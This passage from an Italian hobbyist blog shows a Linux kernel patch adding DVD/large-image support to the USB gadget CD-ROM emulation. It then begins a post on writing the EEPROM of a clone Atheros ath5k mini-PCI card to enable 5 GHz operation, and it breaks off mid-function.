<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[4] = 1; /* # of sessions */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[5] = 1; /* first track of last session */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[6] = 1; /* last track of last session */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[7] = 0x20; /* unrestricted use */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[8] = 0x00; /* CD-ROM or DVD-ROM */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>return 34;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+static int do_get_configuration(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>struct fsg_lun<span class="Apple-tab-span" style="white-space: pre;"> </span>*curlun = common->curlun;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if (common->cmnd[1] & ~0x02) {<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Mask away MSF */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>curlun->sense_data = SS_INVALID_FIELD_IN_CDB;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>return -EINVAL;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>u8* buf = (u8*)bh->buf;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>int cur;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( curlun->num_sectors > CD_MAX_SECTORS )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("Is dvd\n");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>cur = MMC_PROFILE_DVD_ROM;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>else</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>cur = MMC_PROFILE_CD_ROM;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>memset(buf,0,40);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be32(36,&buf[0]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be16(cur,&buf[6]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[10] = 0x03;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[11] = 8;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be16(MMC_PROFILE_DVD_ROM,&buf[12]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[14] = ( cur == MMC_PROFILE_DVD_ROM );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be16(MMC_PROFILE_CD_ROM,&buf[16]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[18] = ( cur == MMC_PROFILE_CD_ROM );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be16(1,&buf[20]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[22] = 0x08 | 0x03;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[23] = 8;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be32(1,&buf[24]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[28] = 1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be16(3,&buf[32]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[34] = 0x08 | 0x3;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[35] = 4;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>buf[36] = 0x39;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>return 40;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>struct fsg_lun<span class="Apple-tab-span" style="white-space: pre;"> </span>*curlun = common->curlun;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -1245,6 +1303,7 @@ static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>buf[14] = 0xAA;<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Lead-out track number */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>store_cdrom_address(&buf[16], msf, curlun->num_sectors);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>return 20;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> static int do_mode_sense(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -1727,9 +1786,9 @@ static int check_command(struct fsg_common *common, int cmnd_size,</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (common->data_dir != DATA_DIR_UNKNOWN)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>sprintf(hdlen, ", H%c=%u", dirletter[(int) common->data_dir],</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>common->data_size);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-<span class="Apple-tab-span" style="white-space: pre;"> </span>VDBG(common, "SCSI command: %s; Dc=%d, D%c=%u; Hc=%d%s\n",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-<span class="Apple-tab-span" style="white-space: pre;"> </span> name, cmnd_size, dirletter[(int) data_dir],</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-<span class="Apple-tab-span" style="white-space: pre;"> </span> common->data_size_from_cmnd, common->cmnd_size, hdlen);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>//printk( "SCSI command: %s; Dc=%d, D%c=%u; Hc=%d%s\n",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span> // name, cmnd_size, dirletter[(int) data_dir],</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span> // common->data_size_from_cmnd, common->cmnd_size, hdlen);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>/*</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span> * We can't reply at all until we know the correct data direction</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -2087,7 +2146,21 @@ static int do_scsi_command(struct fsg_common *common)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (reply == 0)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>reply = do_write(common);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>break;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>case 0x51://READ_DISC_INFORMATION</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>common->data_size_from_cmnd = 0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if (!common->curlun || !common->curlun->cdrom)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>goto unknown_cmnd;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("READ_DISC_INFORMATION\n");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>reply = do_read_disc_information(common,bh);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>break;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>case 0x46://GET_CONFIGURATION</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>common->data_size_from_cmnd = 0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if (!common->curlun || !common->curlun->cdrom)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>goto unknown_cmnd;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("GET_CONFIGURATION\n");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>reply = do_get_configuration(common,bh);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>break;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>/*</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span> * Some mandatory commands that we recognize but don't implement.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span> * They don't mean much in this setting. It's left as an exercise</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">diff --git a/drivers/usb/gadget/storage_common.c b/drivers/usb/gadget/storage_common.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">index 0e3ae43..f328ab6 100644</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">--- a/drivers/usb/gadget/storage_common.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+++ b/drivers/usb/gadget/storage_common.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -124,6 +124,42 @@ struct interrupt_data {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define SS_WRITE_ERROR<span class="Apple-tab-span" style="white-space: pre;"> </span>0x030c02</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define SS_WRITE_PROTECTED<span class="Apple-tab-span" style="white-space: pre;"> </span>0x072700</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_MINS 80 /* max. minutes per CD */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_SECS 60 /* seconds per minute */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_FRAMES 75 /* frames per second */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_FRAMESIZE 2048 /* bytes per frame, "cooked" mode */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_MAX_BYTES (CD_MINS * CD_SECS * CD_FRAMES * CD_FRAMESIZE)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define CD_MAX_SECTORS (CD_MAX_BYTES / 512)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_NONE 0x0000</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_CD_ROM 0x0008</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_CD_R 0x0009</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_CD_RW 0x000A</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_ROM 0x0010</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_R_SR 0x0011</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_RAM 0x0012</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_RW_RO 0x0013</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_RW_SR 0x0014</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_R_DL_SR 0x0015</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_R_DL_JR 0x0016</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_RW_DL 0x0017</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_DDR 0x0018</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_PLUS_RW 0x001A</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_PLUS_R 0x001B</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_PLUS_RW_DL 0x002A</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_DVD_PLUS_R_DL 0x002B</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_BD_ROM 0x0040</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_BD_R_SRM 0x0041</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_BD_R_RRM 0x0042</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_BD_RE 0x0043</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_ROM 0x0050</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_R 0x0051</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_RAM 0x0052</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_RW 0x0053</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_R_DL 0x0058</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_HDDVD_RW_DL 0x005A</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+#define MMC_PROFILE_INVALID 0xFFFF</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define SK(x)<span class="Apple-tab-span" style="white-space: pre;"> </span>((u8) ((x) >> 16))<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Sense Key byte, etc. */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define ASC(x)<span class="Apple-tab-span" style="white-space: pre;"> </span>((u8) ((x) >> 8))</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define ASCQ(x)<span class="Apple-tab-span" style="white-space: pre;"> </span>((u8) (x))</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -165,7 +201,6 @@ static inline struct fsg_lun *fsg_lun_from_dev(struct device *dev)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>return container_of(dev, struct fsg_lun, dev);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> /* Big enough to hold our biggest descriptor */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define EP0_BUFSIZE<span class="Apple-tab-span" style="white-space: pre;"> </span>256</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> #define DELAYED_STATUS<span class="Apple-tab-span" style="white-space: pre;"> </span>(EP0_BUFSIZE + 999)<span class="Apple-tab-span" style="white-space: pre;"> </span>/* An impossibly large value */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -540,12 +575,12 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>min_sectors = 1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (curlun->cdrom) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>min_sectors = 300;<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Smallest track is 300 frames */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-<span class="Apple-tab-span" style="white-space: pre;"> </span>if (num_sectors >= 256*60*75) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>/*if (num_sectors >= 256*60*75) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>num_sectors = 256*60*75 - 1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>LINFO(curlun, "file too big: %s\n", filename);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>LINFO(curlun, "using only first %d blocks\n",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>(int) num_sectors);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">-<span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>}*/</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (num_sectors < min_sectors) {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>LINFO(curlun, "file too small: %s\n", filename);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -562,6 +597,7 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>curlun->filp = filp;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>curlun->file_length = size;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>curlun->num_sectors = num_sectors;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("lun_open: %zd\n",curlun->num_sectors-1);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>LDBG(curlun, "open backing file: %s\n", filename);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>return 0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -596,6 +632,8 @@ static void store_cdrom_address(u8 *dest, int msf, u32 addr)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>addr /= 75;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>dest[2] = addr % 60;<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Seconds */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>addr /= 60;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( addr > 255 )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("store_cdrom_address: overflow \n");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>dest[1] = addr;<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Minutes */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>dest[0] = 0;<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Reserved */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>} else {</span></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span style="font-family: inherit;">Questa patch applicata al kernel che si sta compilando permette di ottenere il driver modificato con il supporto alle immagini > 2.4 GB</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com1tag:blogger.com,1999:blog-413688212424257444.post-16180104139003287872013-05-09T07:16:00.003-07:002013-05-09T10:49:36.838-07:00Scrittura della eeprom nelle schede atheros 5k mini-pciQualche giorno fa su ebay ho ordinato un'interfaccia mini-pci atheros su cui è scritto che supporta anche l'802.11a ( 5 Ghz ), una volta ricevuta ho constatato che tale scheda mini-cpi pagata pochissimo ( 5 € ) , non è originale ed ha bisogno di drivers modificati che sono forniti solo per windows per funzionare in 802.11a, quindi è inutilizzabile su un qualsiasi router OpenWRT oppure su una board MikroTik.<br />
Ovviamente da buon hacker ho scartato subito l'idea di comprarne una nuova e lasciare perdere quella, ed ho subito aperto lo schermo metallico che racchiude i componenti ad alta frequenza.<br />
Possedendo una atheros a 5 Ghz autentica , aprendo anche quest'ultima, ho subito constato che l'hardware effettivamente è completamente identico, c'è un solo componente che potrebbe essere diverso ( nei contenuti ), la EEPROM.<br />
<br />
Quindi ho iniziato a cercare su internet ed ho trovato che uno sviluppatore ha trovato modo di modificare il mac address nei casi in cui fosse presente FF:FF:FF:FF:FF:FF , questo richiede la scrittura della eeprom, proprio quello che serve in questo caso!<br />
<br />
Una volta riordinato il codice( era in condizioni penose ), e aggiornato alle modifiche dei drivers nelle versioni recenti del kernel, ho aggiunto in cima ad eeprom.c nel tree del driver ath5k la seguente funzione:<br />
<br />
<br />
<pre style="background-color: black; color: #b2b2b2; font-weight: bold;"></pre>
<br />
<br />
<pre style="background-color: black; color: #b2b2b2; font-weight: bold;"><b><span style="color: #5454ff;">/* * Write to eeprom */</span></b>
<b><span style="color: #54ff54;">static</span></b> <b><span style="color: #54ff54;">int</span></b> ath5k_hw_eeprom_write<b>(</b><b><span style="color: #dede49;">struct</span></b> ath5k_hw <b>*</b>ah<b>,</b> u32 offset<b>,</b> u16 <b>*</b>data<b>)</b>
<b>{</b>
u32 status<b>,</b> timeout<b>;</b>
<b>*</b>data <b>&=</b> <b><span style="color: #ff54ff;">0xffff</span></b><b>;</b>
<b><span style="color: #5454ff;">/* * Initialize EEPROM access */</span></b>
<b><span style="color: #dede49;">if</span></b> <b>(</b>ah<b>-></b>ah_version <b>==</b> AR5K_AR5210<b>)</b>
<b>{</b>
printk<b>(</b><b><span style="color: #af7f00;">"Fatal: AR5210</span></b><b><span style="color: #ff54ff;">\n</span></b><b><span style="color: #af7f00;">"</span></b><b>);</b>
<b><span style="color: #5454ff;">// AR5210 not tested here but... </span></b>
<b><span style="color: #5454ff;">//AR5K_REG_ENABLE_BITS(ah, AR5K_PCICFG, AR5K_PCICFG_EEAE);</span></b>
<b><span style="color: #5454ff;">//ath5k_hw_reg_write(ah, data, AR5K_EEPROM_BASE + (4 * offset));</span></b>
<b>}</b> <b><span style="color: #dede49;">else</span></b> <b>{</b>
ath5k_hw_reg_write<b>(</b>ah<b>,</b> <b><span style="color: #ff54ff;">0</span></b><b>,</b> AR5K_EEPROM_CMD<b>);</b>
udelay<b>(</b><b><span style="color: #ff54ff;">30</span></b><b>);</b>
AR5K_REG_ENABLE_BITS<b>(</b>ah<b>,</b> AR5K_EEPROM_CMD<b>,</b> AR5K_EEPROM_CMD_RESET<b>);</b>
udelay<b>(</b><b><span style="color: #ff54ff;">30</span></b><b>);</b>
ath5k_hw_reg_write<b>(</b>ah<b>,</b> offset<b>,</b> AR5K_EEPROM_BASE<b>);</b>
ath5k_hw_reg_write<b>(</b>ah<b>,</b> <b>*</b>data<b>,</b> AR5K_EEPROM_DATA<b>);</b>
AR5K_REG_ENABLE_BITS<b>(</b>ah<b>,</b> AR5K_EEPROM_CMD<b>,</b> AR5K_EEPROM_CMD_WRITE<b>);</b>
udelay<b>(</b><b><span style="color: #ff54ff;">30</span></b><b>);</b>
<b>}</b>
<b><span style="color: #dede49;">for</span></b> <b>(</b>timeout <b>=</b> AR5K_TUNE_REGISTER_TIMEOUT<b>;</b> timeout <b>></b> <b><span style="color: #ff54ff;">0</span></b><b>;</b> timeout<b>--)</b>
<b>{</b>
status <b>=</b> ath5k_hw_reg_read<b>(</b>ah<b>,</b> AR5K_EEPROM_STATUS<b>);</b>
<b><span style="color: #dede49;">if</span></b> <b>(</b>status <b>&</b> AR5K_EEPROM_STAT_WRDONE<b>)</b> <b>{</b>
<b><span style="color: #dede49;">if</span></b> <b>(</b>status <b>&</b> AR5K_EEPROM_STAT_WRERR<b>)</b> <b>{</b>
printk<b>(</b>KERN_ERR <b><span style="color: #af7f00;">" TP: -EIO"</span></b><b>);</b> <b><span style="color: #dede49;">return</span></b> <b>-</b>EIO<b>;</b>
<b>}</b>
AR5K_EEPROM_READ<b>(</b> offset<b>,</b> <b>*</b>data<b>);</b>
printk<b>(</b>KERN_INFO <b><span style="color: #af7f00;">" Check: %04x"</span></b><b>,</b> <b>*</b>data<b>);</b>
